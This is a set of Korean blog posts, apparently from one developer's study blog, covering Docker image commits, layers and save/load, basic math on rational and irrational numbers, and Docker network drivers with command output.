npm에서 다양한 도커 관련 패키지를 관리하듯, 도커는 기본적으로 [Docker Hub](https://hub.docker.com/)라는 중앙 이미지 저장소에서 다양한 이미지를 내려받을 수 있다. Docker Hub는 도커가 제공하고 있는 이미지 저장소로, 누구나 도커 계정을 가지고 있다면 쉽게 이미지를 공유할 수 있다.

`docker create`, `docker run`, `docker pull` 등의 명령어로 이미지를 내려받을 때는 이 Docker hub에서 검색한 뒤에 내려받는다. 다만 주의 할 것은 누구나 올릴 수 있으므로, `official` 딱지가 붙어있는 이미지를 사용하는 것이 좋다.

```shell
ubuntu@study:~$ docker search ubuntu
NAME                                                      DESCRIPTION                                     STARS               OFFICIAL            AUTOMATED
ubuntu                                                    Ubuntu is a Debian-based Linux operating sys…   11187               [OK]
dorowu/ubuntu-desktop-lxde-vnc                            Docker image to provide HTML5 VNC interface …   452                                     [OK]
rastasheep/ubuntu-sshd                                    Dockerized SSH service, built on top of offi…   246                                     [OK]
consol/ubuntu-xfce-vnc                                    Ubuntu container with "headless" VNC session…   222                                     [OK]
ubuntu-upstart                                            Upstart is an event-based replacement for th…   110                 [OK]
neurodebian                                               NeuroDebian provides neuroscience research s…   68                  [OK]
1and1internet/ubuntu-16-nginx-php-phpmyadmin-mysql-5      ubuntu-16-nginx-php-phpmyadmin-mysql-5          50                                      [OK]
ubuntu-debootstrap                                        debootstrap --variant=minbase --components=m…   44                  [OK]
nuagebec/ubuntu                                           Simple always updated Ubuntu docker images w…   24                                      [OK]
i386/ubuntu                                               Ubuntu is a Debian-based Linux operating sys…   22
1and1internet/ubuntu-16-apache-php-5.6                    ubuntu-16-apache-php-5.6                        14                                      [OK]
1and1internet/ubuntu-16-apache-php-7.0                    ubuntu-16-apache-php-7.0                        13                                      [OK]
1and1internet/ubuntu-16-nginx-php-phpmyadmin-mariadb-10   ubuntu-16-nginx-php-phpmyadmin-mariadb-10       11                                      [OK]
1and1internet/ubuntu-16-nginx-php-5.6                     ubuntu-16-nginx-php-5.6                         8                                       [OK]
1and1internet/ubuntu-16-nginx-php-5.6-wordpress-4         ubuntu-16-nginx-php-5.6-wordpress-4             7                                       [OK]
1and1internet/ubuntu-16-nginx-php-5.6-wordpress-4         ubuntu-16-nginx-php-5.6-wordpress-4             7                                       [OK]
1and1internet/ubuntu-16-apache-php-7.1                    ubuntu-16-apache-php-7.1                        6                                       [OK]
darksheer/ubuntu                                          Base Ubuntu Image -- Updated hourly             5                                       [OK]
pivotaldata/ubuntu                                        A quick freshening-up of the base Ubuntu doc…   4
1and1internet/ubuntu-16-nginx-php-7.0                     ubuntu-16-nginx-php-7.0                         4                                       [OK]
pivotaldata/ubuntu16.04-build                             Ubuntu 16.04 image for GPDB compilation         2
pivotaldata/ubuntu-gpdb-dev                               Ubuntu images for GPDB development              1
1and1internet/ubuntu-16-sshd                              ubuntu-16-sshd                                  1                                       [OK]
smartentry/ubuntu                                         ubuntu with smartentry                          1                                       [OK]
1and1internet/ubuntu-16-php-7.1                           ubuntu-16-php-7.1                               1                                       [OK]
pivotaldata/ubuntu16.04-test                              Ubuntu 16.04 image for GPDB testing             0
```

ubuntu를 검색하면 다양한 이미지가 있는 것을 볼 수 있다.

## 나만의 이미지 만들기

```shell
ubuntu@study:~$ docker run -i -t --name commit_test ubuntu:14.04
root@db92d7141b48:/# echo first_test! >> first
root@db92d7141b48:/# exit
exit
ubuntu@study:~$ docker commit -a 'yceffort-test' -m 'my first commit' commit_test commit_test:first
sha256:0ae047cd0bdeacff0145fce31f7abdeef169cfe077db5f95053399e2be8f9497
ubuntu@study:~$
```

이미지 이름을 `commit_test`로, 태그는 `first`로 했다. `-a`는 제작자(author)를 의미한다. 이제 이미지가 생성되었는지 확인해보자.

```shell
ubuntu@study:~$ docker images
REPOSITORY              TAG                 IMAGE ID            CREATED              SIZE
commit_test             first               0ae047cd0bde        About a minute ago   197MB
ubuntu@study:~$
```

이제 같은 방법으로 `commit_test:first`를 활용하여 두번째 이미지를 만들어보자.

```shell
ubuntu@study:~$ docker run -i -t --name commit_test2 commit_test:first
root@42a13487a0bf:/# echo second_test! >> second
root@42a13487a0bf:/# exit
exit
ubuntu@study:~$ docker commit -a 'yceffort' -m 'my second commit' commit_test2 commit_test:second
sha256:c5d7289a7e1eaec8e34050d78e6006c181b0080743126c357308df8664916b3a
```

```shell
ubuntu@study:~$ docker images
REPOSITORY              TAG                 IMAGE ID            CREATED             SIZE
commit_test             second              c5d7289a7e1e        12 seconds ago      197MB
commit_test             first               0ae047cd0bde        2 minutes ago       197MB
```

정상적으로 생성되어 있는 것을 볼 수 있다.

## 도커 이미지 구조

`docker inspect 이미지명` 명령어로 이미지의 구조를 확인해볼 수 있다. 다만 너무 길어져서 layer 부분만 따로 떼어 내본다.

```shell
ubuntu@study:~$ docker inspect ubuntu:14.04
```

```json
[
  "sha256:f2fa9f4cf8fd0a521d40e34492b522cee3f35004047e617c75fadeb8bfd1e6b7",
  "sha256:48dc77435ad5c63ea60d91e6ad4828c70e7e61755f99982b0505abb8aaa00872",
  "sha256:3da511183950aa462f667f43fcda0bb5484c5c73eaa94fcd0a94bbd4db396e1c"
]
```

```shell
ubuntu@study:~$ docker inspect commit_test:first
```

```json
[
  "sha256:f2fa9f4cf8fd0a521d40e34492b522cee3f35004047e617c75fadeb8bfd1e6b7",
  "sha256:48dc77435ad5c63ea60d91e6ad4828c70e7e61755f99982b0505abb8aaa00872",
  "sha256:3da511183950aa462f667f43fcda0bb5484c5c73eaa94fcd0a94bbd4db396e1c",
  "sha256:40a2c0b1240bac592d4874d3b6ba3c29d65dfcb53131b0954d2a4f5f31eba285"
]
```

```shell
ubuntu@study:~$ docker inspect commit_test:second
```

```json
[
  "sha256:f2fa9f4cf8fd0a521d40e34492b522cee3f35004047e617c75fadeb8bfd1e6b7",
  "sha256:48dc77435ad5c63ea60d91e6ad4828c70e7e61755f99982b0505abb8aaa00872",
  "sha256:3da511183950aa462f667f43fcda0bb5484c5c73eaa94fcd0a94bbd4db396e1c",
  "sha256:40a2c0b1240bac592d4874d3b6ba3c29d65dfcb53131b0954d2a4f5f31eba285",
  "sha256:02d3b6e97ca5091aa41a9b8b5b160254831eb0b41c35e14dafbccd5cfee20b0f"
]
```

뭔가 앞에서 부터 레이어가 하나씩 쌓여있는 것을 볼 수 있다. 이로 미루어보았을때, 이미지 커밋을 할때 변경된 사항만 새로운 레이어로 저장하고, 기존에 것은 별도의 레이어로 둔다는 것을 알 수 있다.

삭제를 하기 위해서는 `docker rmi`를 사용하면 된다.

```shell
ubuntu@study:~$ docker rmi commit_test:first
Error response from daemon: conflict: unable to remove repository reference "commit_test:first" (must force) - container 42a13487a0bf is using its referenced image 0ae047cd0bde
```

그러나 해당 이미지를 사용하는 컨테이너가 존재해서 삭제가 안된다. 따라서 컨테이너를 삭제한 후에 이미지를 삭제해야한다.

사실 `commit_test:first`를 삭제했다고 해서, 실제로 해당 이미지의 레이어 파일이 삭제되는 것은 아니다. 왜냐하면 이 이미지를 기반으로 한 `commit_test:second`가 존재하기 때문이다. 따라서 실제 이미지 파일을 삭제하지 않고, 그냥 레이어에 부여한 이름만 삭제한다.

```shell
ubuntu@study:~$ docker rmi commit_test:second
Untagged: commit_test:second
Deleted: sha256:c5d7289a7e1eaec8e34050d78e6006c181b0080743126c357308df8664916b3a
Deleted: sha256:994c3bba470f6e08dbd29fbb0523d05994796aa687c085ddda6a0eebe8e66284
```

`commit_test:second`를 기반으로한 이미지는 없으므로 바로 삭제되는 것을 볼 수 있다.

## 이미지 추출하고 로드하기

```shell
ubuntu@study:~$ docker save -o ubuntu_14_04.tar ubuntu:14.04
```

```shell
ubuntu@study:~$ docker load -i ubuntu_14_04.tar
Loaded image: ubuntu:14.04
```

`save`, `load` 와 비슷한 `import` `export`가 있다. 차이는, `export`는 컨테이너의 파일 시스템을 tar로 추출하지만, 컨테이너 및 이미지에 대한 정보는 저장하지 않는다.

---

Source: https://yceffort.kr/2020/07/math-for-programmer-chapter2-3-rational-irrational-real-number.md
Title: 프로그래머 기초 수학 2-3 - 유리수, 무리수, 실수
Description: 유리수, 무리수, 실수
Date: 2020-07-29
Tags: algorithm

## 유리수

유리수란, 나눗셈 또는 분수, 즉 '비율로 나타낼 수 있는 모든 수' 를 유리수라고 한다. 정수는 모두 자기자신과 1의 비율로 나타낼 수 있으므로 유리수다.

분수에서, 분모와 분자가 1외에 다른 공통된 약수를 가진다면, 그 약수로 동시에 나누어도 값은 변하지 않는데, 이를 `약분`이라고 하며, 더 이상 나눌 수 없어 분모와 분자가 서로 소인 분수를 `기약분수` 라고한다.

$$
\frac{20}{72} = \frac{2^2 \times 5}{2^3 \times 3^2} = \frac{5}{2 \times 3^2} = \frac {5}{18}
$$

분수로 나타낸 두 유리수를 계산할 때, 분모가 다르다면 이를 같게 만들어야 한다. 이를 `통분` 이라고 하며, 통분된 새로운 분모를 `공통분모` 라고한다.

$$
\frac{5}{12}- \frac{3}{8} = (\frac{5 \times 2}{12 \times 2}) - (\frac{3\times3}{8 \times 3}) = \frac {10}{24} - \frac{9}{24} = \frac {1}{24}
$$

어떤 수와 다른 수를 비교했을때, 얼마나 큰가 하는 것을 두수의 `비`라고 하며, $a : b$ 로 나타낸다. 두 비의 값이 같아서 등호로 연결한 것을 `비례식`이라고 한다. 그리고 등호 가까이에 있는 것은 `내항`, 바깥에 있는 것은 `외항`이라고 한다.

$$
a : b = c: d
$$

비례식은 분수꼴로 써서 풀수 있고, 이 때 양변에 분모의 공배수를 곱한다. 그 결과로 내항의 곱과 외항의 곱이 같아진다.

$$
\frac a b = \frac c d
\frac a b \times ( b \times d) = \frac c d \times (b \times d)
a \times d = b \times c
$$

비율을 $\frac {1}{100}$ 단위로 표현한 것은 백분율이라고 한다. $\frac 1 4$는 $\frac{25}{100}$ 이며 곧 25%라고 표시할 수 있다. 흔치는 않지만, 농도 등을 나타낼 때는 $\frac{1}{1000}$을 쓸 수 있는데, 이는 퍼밀(‰) 이라고 한다.

유리수는 분수 외에 소수점을 써서 소수로 나타낼 수 있다. 이 때 분모가 10의 거듭제곱일 때는, 소수가 유한하게 끝나게 되는데 이를 `유한소수` 라고한다.

10 진수의 밑인 10의 소인수는 2와 5다. 기약분수인 어떤 유리수의 분모를 소인수 분해했더니, 2와 5의 거듭제곱으로만 이루어졌다고 다고정하자. 분자는 무엇이든지 간에, 모든 유리수는 다음과 같이 나타낼 수 있다.

$$
\frac {N}{2^m \times 5^n}
$$

이제 $m$ 과 $n$ 중, 더 작은쪽에 해당하는 소인수를, 큰쪽의 거듭제곱과 같을 때까지 분모와 분자에 곱해보자.

$$
\frac{9}{40} = \frac{9}{2^3 \times 5} \times (\frac {5^2}{5^2}) = \frac{9 \times 5^2}{2^3 \times 5^3} = \frac{9 \times 5^2}{10^3} = \frac{225}{1000} = 0.225
$$

결과가 10의 거듭제곱 꼴이 되므로, 이유리수를 소수로 나타내면 유한소수가 된다.

만약 2나 5외에 다른 소인수가 분모에 있으면, 소수점 밑 어딘가부터 같은 숫자 패턴이 반복하게 된다.

$$
\frac{11}{6} = 1.8333333....
\frac{1}{7} = 0.142857142857....
$$

이런 소수를 `순환소수` 라고 한다. 소수점 아래에 반복되는 부분을 `순환마디`라고 하며, 점을 찍어서 표현한다.

$$
\frac{11}{6} = 1.8\dot{3}
\frac{1}{7} = 0.\dot{1}4285\dot{7}
$$

순환소수를 분수로 바꾸는 방법을 생각해보자.

$$
x = 0.33333....
10x = 3.3333....
$$

두 식을 빼면

$$
9x = 3
\therefore  x = \frac 3 9 = \frac 1 3
$$

$1.8\dot{3}$ 처럼, 순환마디가 바로 뒤에 오지 않으면, 순환마디가 동일하도록 만든다음에 뺄셈을 하면 된다.

$$
x = 1.833333...
$$

$$
10x = 18.333333...
$$

$$
100x = 183.333333...
$$

$$
90x = (183-18) = 165
\therefore x = \frac {165}{90} = \frac{11}{6}
$$

## 무리수

유리수 처럼 분수로도 나눌 수 없는 숫자가 있다.

$$
x^2 = 2
x = \sqrt{2}
x = -\sqrt{2}
x = ± \sqrt{2}
$$

$± \sqrt{2}$는 2의 제곱근 이라고 한다.

이 처럼 분수로 나타낼 수 없는 숫자는 무리수라고 한다. 무리수는 순환하지 않는 무한소수를 나타내는데, 예를 들어 $\sqrt{2}$는 1.4142135...이다. 결과적으로, 유리수와 무리수를 통틀어 실수라고 한다.

![](https://t1.daumcdn.net/cfile/tistory/2457934C57165F6C33)

그리고 $\sqrt{-1}$처럼, 제곱해서 음수가 되는 수는 존재하지 않으므로, 실수 체계에 속하지 않는다. 무리수도 숫자 이므로, 덧셈 뺄셈은 일반적인 경우와 같다.

$$
a\sqrt{n} ± b\sqrt{n} = (a ± b)\sqrt{n}
\sqrt{a} \sqrt{b} = \sqrt{ab}
\sqrt{ab} = \sqrt{a} \sqrt{b}
$$

근에 안에 있는 수가 제곱수일 경우, 이를 벗겨 내 버릴 수도 있다.

$$
\sqrt{24} = \sqrt{2^3 \times 3} = \sqrt{2^2 \times (2 \times 3)} = \sqrt{4} \times \sqrt{2 \times 3} = 2\sqrt{6}
$$

분모에 제곱근 기호가 있다면, 통분 같은 계산을 위해 정수화 하는 것이 좋다. 이를 `분모 유리화` 라고 한다.

$$
(\frac{1}{\sqrt{2}}) = \frac{1\times \sqrt{2}}{\sqrt{2} \times \sqrt{2}} = (\frac{\sqrt{2}}{2})
$$

---

Source: https://yceffort.kr/2020/07/docker-study-2.md
Title: Docker 공부 (2) - 도커 네트워크
Description: ## 도커 네트워크 도커는 컨테이너에 내부 IP를 순차적으로 할당하며, 이 IP는 컨테이너가 재시작 될 때 마다 변경된다. 이 내부 IP는 내부망에서만 쓸 수 있으므로 외부와 연결될 필요가 있는데, 이 과정은 컨테이너가 시작할 때마다 호스트에 `veth` 라는 네트워크 인터페이스를 생성하면서 이루어진다. 이 `veth`인터페이스는 직접 생성하는게 아니라,...
Date: 2020-07-29
Tags: docker

## 도커 네트워크

도커는 컨테이너에 내부 IP를 순차적으로 할당하며, 이 IP는 컨테이너가 재시작 될 때 마다 변경된다. 이 내부 IP는 내부망에서만 쓸 수 있으므로 외부와 연결될 필요가 있는데, 이 과정은 컨테이너가 시작할 때마다 호스트에 `veth` 라는 네트워크 인터페이스를 생성하면서 이루어진다. 이 `veth`인터페이스는 직접 생성하는게 아니라, 컨테이너가 생성될 때 도커 엔진이 자동으로 생성한다.

도커가 설치된 호스트에서 `ifconfig` 나 `ip addr`과 같은 명령어로 네트워크를 확인해보자.

```text
ubuntu@study:~$ ifconfig
docker0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.17.0.1  netmask 255.255.0.0  broadcast 172.17.255.255
        inet6 fe80::42:a7ff:fec2:fa90  prefixlen 64  scopeid 0x20<link>
        ether 02:42:a7:c2:fa:90  txqueuelen 0  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 9  bytes 806 (806.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1454
        inet 192.168.0.4  netmask 255.255.255.0  broadcast 192.168.0.255
        inet6 fe80::f816:3eff:fe64:daf3  prefixlen 64  scopeid 0x20<link>
        ether fa:16:3e:64:da:f3  txqueuelen 1000  (Ethernet)
        RX packets 4889  bytes 29037050 (29.0 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 4182  bytes 383098 (383.0 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 44  bytes 4228 (4.2 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 44  bytes 4228 (4.2 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

veth4e8339b: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet6 fe80::30e5:e9ff:fedf:15f3  prefixlen 64  scopeid 0x20<link>
        ether 32:e5:e9:df:15:f3  txqueuelen 0  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 9  bytes 766 (766.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

veth7dda7a9: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet6 fe80::4841:73ff:fe01:d09d  prefixlen 64  scopeid 0x20<link>
        ether 4a:41:73:01:d0:9d  txqueuelen 0  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 5  bytes 426 (426.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
```

`eth0`은 공인IP 또는 내부IP가 할당되어, 실제로 외부와 통신할 수 있는 호스트의 네트워크 인터페이스다. `veth...`는 컨테이너를 시작할때 생성되었으며, 이는 각 컨테이너의 `eth0`과 연결되어 있다.

그리고 `docker0` 이라고 하는 브릿지도 존재하는데, 이는 각 `veth`와 바인딩 되어 연결하는 역할을 해준다.

![](https://blog.daocloud.io/wp-content/uploads/2015/01/17.jpg)

기본적으로 `docker0` 브릿지를 통해 외부와 연결 할 수 있지만, 다른 네트워크 드라이버를 사용할 수 있다. `bridge` `host` `none` `container` `overlay` 등등이 있다.

```shell
ubuntu@study:~$ docker network ls
NETWORK ID          NAME                DRIVER              SCOPE
eeff6a1308cc        bridge              bridge              local
da0bbc153406        host                host                local
33a0f0fd85e2        none                null                local
```

### bridge

컨테이너를 생성할 때 자동으로 여결되는 `docker0` 브릿지를 활용하도록 설정되어 있다. 이 네트워크는 `172.17.0.x`를 순차적으로 할당한다.

```shell
ubuntu@study:~$ docker network inspect bridge
[
    {
        "Name": "bridge",
        "Id": "eeff6a1308cca652363d7e236f95c2ec97b852fe1a9ed92a1658ce248d21243d",
        "Created": "2020-07-28T17:21:59.821050359+09:00",
        "Scope": "local",
        "Driver": "bridge",
        "EnableIPv6": false,
        "IPAM": {
            "Driver": "default",
            "Options": null,
            "Config": [
                {
                    "Subnet": "172.17.0.0/16",
                    "Gateway": "172.17.0.1"
                }
            ]
        },
        "Internal": false,
        "Attachable": false,
        "Ingress": false,
        "ConfigFrom": {
            "Network": ""
        },
        "ConfigOnly": false,
        "Containers": {
            "1369cc681f26f07679ceb59b975a8f5e9fe02a65f26fc7a54701ca50ad8b8861": {
                "Name": "wordpress",
                "EndpointID": "4ce24808e36381f409853a39457db1940c80dd16c7905d515106b1ad98325603",
                "MacAddress": "02:42:ac:11:00:03",
                "IPv4Address": "172.17.0.3/16",
                "IPv6Address": ""
            },
            "886832f53107fb732f9bb4fc15818fe9cd80fa536230987078fe58f69135fedb": {
                "Name": "wordpressdb",
                "EndpointID": "9ecad5d42dd536cdeb7dedeeaac0e3151a667973804d2518e69c107bc554f224",
                "MacAddress": "02:42:ac:11:00:02",
                "IPv4Address": "172.17.0.2/16",
                "IPv6Address": ""
            }
        },
        "Options": {
            "com.docker.network.bridge.default_bridge": "true",
            "com.docker.network.bridge.enable_icc": "true",
            "com.docker.network.bridge.enable_ip_masquerade": "true",
            "com.docker.network.bridge.host_binding_ipv4": "0.0.0.0",
            "com.docker.network.bridge.name": "docker0",
            "com.docker.network.driver.mtu": "1500"
        },
        "Labels": {}
    }
]
```

### 브릿지 네트워크

`docker0`과 비슷하게, 브릿지 네트워크는 사용자 정의 브릿지를 새로 생성해 각 네트워크에 연결하는 네트워크 구조다.

```shell
ubuntu@study:~$ docker network create --driver bridge mybridge
c3235dd3f5cf8269822e66c435f422850e287c52ed14138a8da33eabb6e93aab
ubuntu@study:~$ docker run -i -t --name mynetwork_container --net mybridge ubuntu:14.04
root@873f7231c461:/# ifconfig
eth0      Link encap:Ethernet  HWaddr 02:42:ac:12:00:02
          inet addr:172.18.0.2  Bcast:172.18.255.255  Mask:255.255.0.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:12 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:1032 (1.0 KB)  TX bytes:0 (0.0 B)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

root@873f7231c461:/#
```

`mybridge`라는 새로운 네트워크를 생성하고, 그 네트워크를 활용해서 연결했다. 그리고 내부 IP가 `172.18.x.x`로 시작하는 것을 볼 수 있다. 그리고 이러한 네트워크는 수동으로 연결하고 끊을 수 있다.

```shell
ubuntu@study:~$ docker network disconnect mybridge mynetwork_container
ubuntu@study:~$ docker network connect mybridge mynetwork_container
```

### 호스트 네트워크

네트워크를 호스트로 설정하면 , 호스트의 네트워크 환경을 그대로 사용하게 된다. 별도 설정필요 없이 `host`를 사용하면 된다.

```shell
ubuntu@study:~$ docker run -i -t --name network_host --net host ubuntu:14.04
root@study:/# ifconfig
br-c3235dd3f5cf Link encap:Ethernet  HWaddr 02:42:1b:92:84:80
          inet addr:172.18.0.1  Bcast:172.18.255.255  Mask:255.255.0.0
          inet6 addr: fe80::42:1bff:fe92:8480/64 Scope:Link
          UP BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:5 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:0 (0.0 B)  TX bytes:446 (446.0 B)

docker0   Link encap:Ethernet  HWaddr 02:42:a7:c2:fa:90
          inet addr:172.17.0.1  Bcast:172.17.255.255  Mask:255.255.0.0
          inet6 addr: fe80::42:a7ff:fec2:fa90/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1 errors:0 dropped:0 overruns:0 frame:0
          TX packets:9 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:28 (28.0 B)  TX bytes:806 (806.0 B)

eth0      Link encap:Ethernet  HWaddr fa:16:3e:64:da:f3
          inet addr:192.168.0.4  Bcast:192.168.0.255  Mask:255.255.255.0
          inet6 addr: fe80::f816:3eff:fe64:daf3/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1454  Metric:1
          RX packets:6303 errors:0 dropped:0 overruns:0 frame:0
          TX packets:5054 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:29145891 (29.1 MB)  TX bytes:675899 (675.8 KB)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:44 errors:0 dropped:0 overruns:0 frame:0
          TX packets:44 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:4228 (4.2 KB)  TX bytes:4228 (4.2 KB)

veth4e8339b Link encap:Ethernet  HWaddr 32:e5:e9:df:15:f3
          inet6 addr: fe80::30e5:e9ff:fedf:15f3/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:8 errors:0 dropped:0 overruns:0 frame:0
          TX packets:26 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:600 (600.0 B)  TX bytes:2084 (2.0 KB)

veth7dda7a9 Link encap:Ethernet  HWaddr 4a:41:73:01:d0:9d
          inet6 addr: fe80::4841:73ff:fe01:d09d/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:10 errors:0 dropped:0 overruns:0 frame:0
          TX packets:22 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:828 (828.0 B)  TX bytes:1676 (1.6 KB)
```

ifconfig 의 결과가 실제 호스트에서 때린 결과와 비슷한 것을 볼 수 있다.

컨테이너의 네트워크를 호스트모드로 설정하면, 컨테이너 내부의 애플리케이션을 별도로 포트포워딩 하지 않아도 바로 서비스 할 수 있다.

### none

말 그대로 네트워크를 사용하지 않는 것이다.

```shell
ubuntu@study:~$ docker run -i -t --name network_none --net none ubuntu:14.04
root@ab2595314554:/# ifconfig
lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)
```

로컬호스트외에 어떠한 네트워크도 없음을 알 수 있다.

### Container network

--net 옵션으로 컨테이너를 입력하면, 다른 컨테이너의 네트워크 네임스페이스 환경을 공유할 수 있다. 여기서 공유되는 것은 다음과 같다.

- 내부IP
- 네트워크의 맥 주소

```shell
ubuntu@study:~$ docker run -i -t -d --name network_container_1 ubuntu:14.04
e5b3da0af26e970b446d5bdf3e24fa3121a5e2f02615f77e74667783c2709b37
ubuntu@study:~$ docker run -i -t -d --name network_container_2 --net container:network_container_1 ubuntu:14.04
5a54709d03f7e9374e842896b1ea0a57bac4127fd5f836171310dd3f79ad934d
ubuntu@study:~$ docker exec network_container_1 ifconfig
eth0      Link encap:Ethernet  HWaddr 02:42:ac:11:00:02
          inet addr:172.17.0.2  Bcast:172.17.255.255  Mask:255.255.0.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:10 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:836 (836.0 B)  TX bytes:0 (0.0 B)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

ubuntu@study:~$ docker exec network_container_2 ifconfig
eth0      Link encap:Ethernet  HWaddr 02:42:ac:11:00:02
          inet addr:172.17.0.2  Bcast:172.17.255.255  Mask:255.255.0.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:10 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:836 (836.0 B)  TX bytes:0 (0.0 B)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)
```

`inet addr:172.17.0.2` 과 `HWaddr 02:42:ac:11:00:02`가 두개다 동일한 것을 알 수 있다.

즉, 두 컨테이너가 같은 `eth0`으로 네트워킹 하는 것이다.

```shell
ubuntu@study:~$ docker run -i -t -d --name network_alias_container1 --net mybridge --net-alias yceffort ubuntu:14.04
da00dbc42f111940c3d3aa1909f6a0cdc61bf5eb15133c75195945925af7de00
ubuntu@study:~$ docker run -i -t -d --name network_alias_container2 --net mybridge --net-alias yceffort ubuntu:14.04
d5478e84304af611f5d74ff98432cf843f0c451c42e6d8740e8b0b319c8a2262
ubuntu@study:~$ docker run -i -t -d --name network_alias_container3 --net mybridge --net-alias yceffort ubuntu:14.04
e7f3cc92dfb2f63cc5cd95baa200b5b6690daa400cf4c4a891b351bc5e63f15a
ubuntu@study:~$ docker inspect network_alias_container1 | grep IPAddress
            "SecondaryIPAddresses": null,
            "IPAddress": "",
                    "IPAddress": "172.18.0.2",
```

그리고 핑을 한번 날려보자.

```shell
ubuntu@study:~$ docker run -i -t --name network_alias_ping --net mybridge ubuntu:14.04
root@a02263c69cd1:/# ping -c 1 yceffort

--- yceffort ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.108/0.108/0.108/0.000 ms
root@a02263c69cd1:/# ping -c 1 yceffort
PING yceffort (172.18.0.4) 56(84) bytes of data.
64 bytes from network_alias_container3.mybridge (172.18.0.4): icmp_seq=1 ttl=64 time=0.062 ms

--- yceffort ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.064/0.064/0.064/0.000 ms
root@a02263c69cd1:/# ping -c 1 yceffort
PING yceffort (172.18.0.2) 56(84) bytes of data.
64 bytes from network_alias_container1.mybridge (172.18.0.2): icmp_seq=1 ttl=64 time=0.048 ms

--- yceffort ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.135/0.135/0.135/0.000 ms
root@a02263c69cd1:/# ping -c 1 yceffort
PING yceffort (172.18.0.3) 56(84) bytes of data.
64 bytes from network_alias_container2.mybridge (172.18.0.3): icmp_seq=1 ttl=64 time=0.053 ms
```

각 세개의 컨테이너로 ping이 전송되는 것을 알 수 있다. 라운드 로빈 방식으로 핑이 전송된다. 이는 도커 엔진에 내장된 DNS가 yceffort라는 호스트 이름을 --net-alias 옵션으로 yceffort를 설정한 컨테이너로 변환하기 때문이다.

